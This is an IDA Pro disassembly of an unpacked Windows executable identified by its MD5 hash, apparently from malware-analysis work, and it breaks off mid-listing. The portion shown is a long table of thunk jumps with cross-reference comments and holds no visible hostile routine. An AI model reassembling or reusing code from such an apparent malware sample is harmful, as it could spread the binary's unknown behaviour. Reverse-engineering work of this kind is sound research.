; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : B4AA1162928C1017EC18E46347464879 ; File Name : u:\work\b4aa1162928c1017ec18e46347464879_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00112000 (1122304.) ; Section size in file : 00112000 (1122304.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing byte_401000 db 5 dup(0CCh) ; DATA XREF: Themida_:00582DB4o ; --------------------------------------------------------------------------- jmp loc_430920 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43F09Co jmp loc_412D80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421BF0+29p jmp sub_422150 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_432540 ; --------------------------------------------------------------------------- jmp loc_420EA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004119B3p jmp sub_4119E0 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B29Dp ; ___:0040B2AAp ... jmp sub_403C50 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FB90+34p jmp sub_40B0E0 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404CC0+616p ; sub_404CC0+6D5p ... jmp sub_40A110 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42B3F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_4135E0+3Bp ; ___:00414C00p jmp sub_4156D0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_430B30+6Ep ; sub_430B30+8Ap ... jmp sub_4342D0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:00430212p ; sub_430B30+3Fp ... jmp sub_434150 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423A40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D210 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B0E0+3Ap ; sub_40B150+1Ap jmp sub_433C70 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E760+37Bp jmp sub_421D30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C1A0+8p jmp sub_40C360 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap ; sub_434A00+50p jmp sub_432BB0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43F07Co jmp sub_41C710 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416FAAp jmp sub_41FCD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40C040+32p jmp sub_40C200 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416FBAp jmp sub_418390 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415920+6Ap ; sub_416380+32p jmp sub_4162C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E760+161p ; sub_4224E0+3p jmp sub_421B50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ADE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421D30+3p ; ___:004220FFp ... jmp sub_422270 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C4E0+43p jmp sub_40CBB0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_4292E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_4075C0+Ap jmp sub_407660 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p ; sub_424870+6p ... jmp sub_4245E0 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p ; sub_431EF0+14Fp jmp sub_4340E0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p jmp sub_431C80 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043F174o jmp sub_42B0B0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43F0A0o jmp loc_41E3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418430+D0p ; sub_418590+2Dp jmp sub_418B20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_410030+8D9p ; sub_410030+990p ... jmp sub_411930 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:00430626p ; ___:00430694p ... jmp sub_4321F0 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421E50+9p ; sub_422340+18p jmp sub_4224C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40AAD0+58p ; sub_40AAD0+82p ... jmp sub_40ACC0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p ; ___:00423BA6p ... jmp sub_419BE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416110+7p jmp sub_416740 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415600+5Bp ; sub_415F70+11p ... jmp sub_4161C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_42AF20+58p jmp sub_42AD90 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp jmp sub_421DB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_4220B0+11p ; ___:004220D7p ... jmp sub_4225D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421B30+3p ; ___:00421E9Fp ... jmp sub_422010 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_4144D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_428210+3p jmp sub_428240 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415B00+11p ; ___:00415B27p ... jmp sub_416570 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_434600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421C60+5p ; sub_421D50+6p ... jmp sub_422250 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416B5Bp ; ___:0043B25Ej ... jmp sub_417B60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404CC0+6Ap ; sub_404CC0+1AFp ... jmp sub_412A40 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43F074o jmp sub_4193C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_432D10+6p ; ___:00432D23p ... jmp sub_430770 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42F6C0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43F15Co jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423D9Dp jmp sub_423860 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_433240 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:00415178p jmp sub_415A90 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41BA50+F7p ; sub_41BA50+10Bp ... jmp sub_409F80 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_4099F0+Ap jmp sub_409AE0 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4134A0+55p ; sub_4134A0+94p ... jmp sub_415860 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425100+18Cp ; ___:00425F7Dp jmp sub_4236F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414C8Ep jmp sub_415600 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_4288F0+3p jmp sub_428920 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43F038o jmp loc_4119B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415ED0+11p ; ___:00415EF7p ... jmp sub_4166F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418C10+23p ; sub_418E80+11p jmp sub_418F60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418B90+3p ; sub_418F90+54p ... jmp sub_418DE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_4096E0+6Ap ; sub_4096E0+103p jmp sub_409980 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_433B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413E4Dp jmp sub_413C40 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A2E4p jmp sub_41B0E0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4134A0+88p ; sub_4148A0+BFp ... jmp sub_415A30 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_430770+7p ; sub_4307E0+19p ... jmp sub_434BA0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DBF0 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:0043239Ap jmp sub_431D40 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_407230+11p ; sub_4073C0+1Fp jmp sub_407460 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_403720+3B5p ; sub_403720+3C5p ... jmp sub_403E50 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421D10+3p jmp sub_422290 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C330+Ap jmp sub_40C3F0 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_403720+1Dp ; sub_407080+1Fp ... jmp sub_403CC0 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413344p ; ___:0043AC8Cj ... jmp sub_415490 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42C640+3p jmp sub_42C670 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AFE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414C9Dp jmp sub_414D40 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407660+7p ; sub_409AE0+7p ... jmp sub_407690 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_4135E0+73p ; ___:00414C3Dp ... jmp sub_4156F0 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E760+58p jmp sub_420630 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413E70+84p jmp sub_4138B0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00433718p jmp sub_431060 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_407510+8p jmp sub_4075F0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404CC0+9Fp ; sub_404CC0+230p ... jmp sub_40A510 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A870+21p ; sub_40AAD0+A5p jmp sub_40AAB0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40B050 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A510+129p ; sub_40A8F0+4p ... jmp sub_40A8C0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo jmp sub_427940 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004335ADp jmp sub_430D60 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_407340+3p ; ___:0040740Fp ... jmp sub_4074D0 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D930+346p ; sub_41D930+410p ... jmp sub_421970 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421BB0+11p ; sub_4220B0+1Fp jmp sub_4221E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42C7E0+3p jmp sub_42C810 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_4077E0 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C200+5Fp jmp sub_40C3D0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_403530+F6p ; sub_403530+12Ep ... jmp sub_409D10 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E760+113p ; sub_41E760+124p jmp sub_421B30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043F060o jmp sub_41F960 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416BFBp ; ___:0043B1D2j ... jmp sub_4177B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AFA0+Fp jmp sub_431240 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418C10+32p jmp sub_418E80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_434860 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415500+5p ; sub_415710+6p ... jmp sub_416130 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BD90+29p ; sub_40BEB0+29p jmp sub_40C040 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E760+3E9p ; ___:0043C4ABj jmp sub_421BF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4145A0+BFp jmp sub_4152E0 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4165E0+Ap jmp sub_416920 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416C67p ; ___:0043B173j ... jmp sub_4170B0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418430 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416F1Fp jmp sub_4180D0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414760 ; --------------------------------------------------------------------------- jmp loc_430320 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_410030+387p ; sub_41F030+21Dp ... jmp sub_41B7E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416F5Ap jmp sub_418280 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409570+8p jmp sub_4095C0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_4096E0+A5p ; sub_412C90+21p jmp sub_4098F0 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404CC0+382p ; sub_41D930+5AAp jmp sub_41C130 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416E6Fp jmp sub_403720 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418CC0+23p ; sub_418F90+11p jmp sub_4190E0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424920+Cp ; sub_424920+3Ep ... jmp sub_424410 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_430960 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404CC0+85Ap ; sub_404CC0+AD6p ... jmp sub_40A370 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042FE06p ; ___:0042FE56p ... jmp sub_432780 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E760+367p ; sub_41E760+3D4p ... jmp sub_421D80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_427D50+107o jmp sub_427FD0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424800+18p ; sub_424840+Ap ... jmp sub_4247B0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416220+9p ; sub_4162C0+18p jmp sub_4168D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_432570+32o jmp sub_432D70 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42FE50 ; --------------------------------------------------------------------------- jmp loc_419CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_42AD90+67p jmp sub_41FFF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:004301E8p ; sub_4303A0+2p ... jmp sub_431560 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413740+3Fp ; sub_4145A0+40p ... jmp sub_415230 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404690+19Fp ; sub_404690+212p ... jmp sub_409FD0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p ; sub_424F70+F1p jmp sub_424F00 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425100+130p jmp sub_424F70 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416F3Ap jmp sub_418180 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416F0Fp jmp sub_418010 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4316C0+1p jmp sub_431750 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00427201p jmp sub_427740 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418430+71p ; sub_418430+BBp ... jmp sub_418AF0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A180+7p jmp sub_40A1A0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004329C8p ; sub_432A20+2Bp jmp sub_432BF0 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_432570+1p jmp sub_4327B0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4208E0+37Bp jmp sub_421CD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414430+5Bp jmp sub_415100 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_415490+29p ; sub_4155B0+29p jmp sub_416030 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00437232p ; ___:00437242p ... jmp sub_4370F0 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4134A0+5Fp ; sub_4134A0+9Ep ... jmp sub_415A60 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B600+62p ; ___:0040BAC8p ... jmp sub_40BF40 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4313B0 ; --------------------------------------------------------------------------- jmp loc_42FF30 ; --------------------------------------------------------------------------- loc_40134D: ; DATA XREF: ___:0043F1A8o jmp loc_42C690 ; --------------------------------------------------------------------------- jmp loc_42C5D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416190+8p jmp sub_4167B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4134A0+71p ; sub_4134A0:loc_41356Cp ... jmp sub_415A10 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418430+AFp ; sub_4190E0+3p jmp sub_418BB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043F104o jmp sub_427D50 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B600+39p ; sub_40B600+78p ... jmp sub_40BF70 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_426A90+29p ; sub_426A90+38p jmp sub_4269A0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A600+1Cp jmp sub_41A640 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043F164o jmp sub_42AF20 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408C9Ep ; ___:00414551p jmp sub_414300 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418590+72p jmp sub_406C80 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409E00+7p ; sub_409F50+7p ... jmp sub_40A7E0 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43F080o jmp sub_422B40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413BB0 ; --------------------------------------------------------------------------- jmp sub_42C640 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418A00+11p ; sub_421DB0+1Fp jmp sub_418D50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C5C0 loc_4013A2: ; CODE XREF: sub_42C5C0+3j jmp sub_42BB00 ; END OF FUNCTION CHUNK FOR sub_42C5C0 ; --------------------------------------------------------------------------- jmp sub_42C7E0 ; --------------------------------------------------------------------------- jmp loc_42FEA0 ; --------------------------------------------------------------------------- jmp loc_414B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp jmp sub_4073C0 sub_4013B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp jmp sub_4253C0 sub_4013BB endp ; --------------------------------------------------------------------------- jmp loc_42FAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C5 proc near ; CODE XREF: sub_40FE40+3p ; ___:00416BEBp ... jmp sub_40FE70 sub_4013C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CA proc near ; CODE XREF: sub_426560+Cp ; sub_4266D0+Ap ... jmp sub_426520 sub_4013CA endp ; --------------------------------------------------------------------------- jmp loc_40D3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE 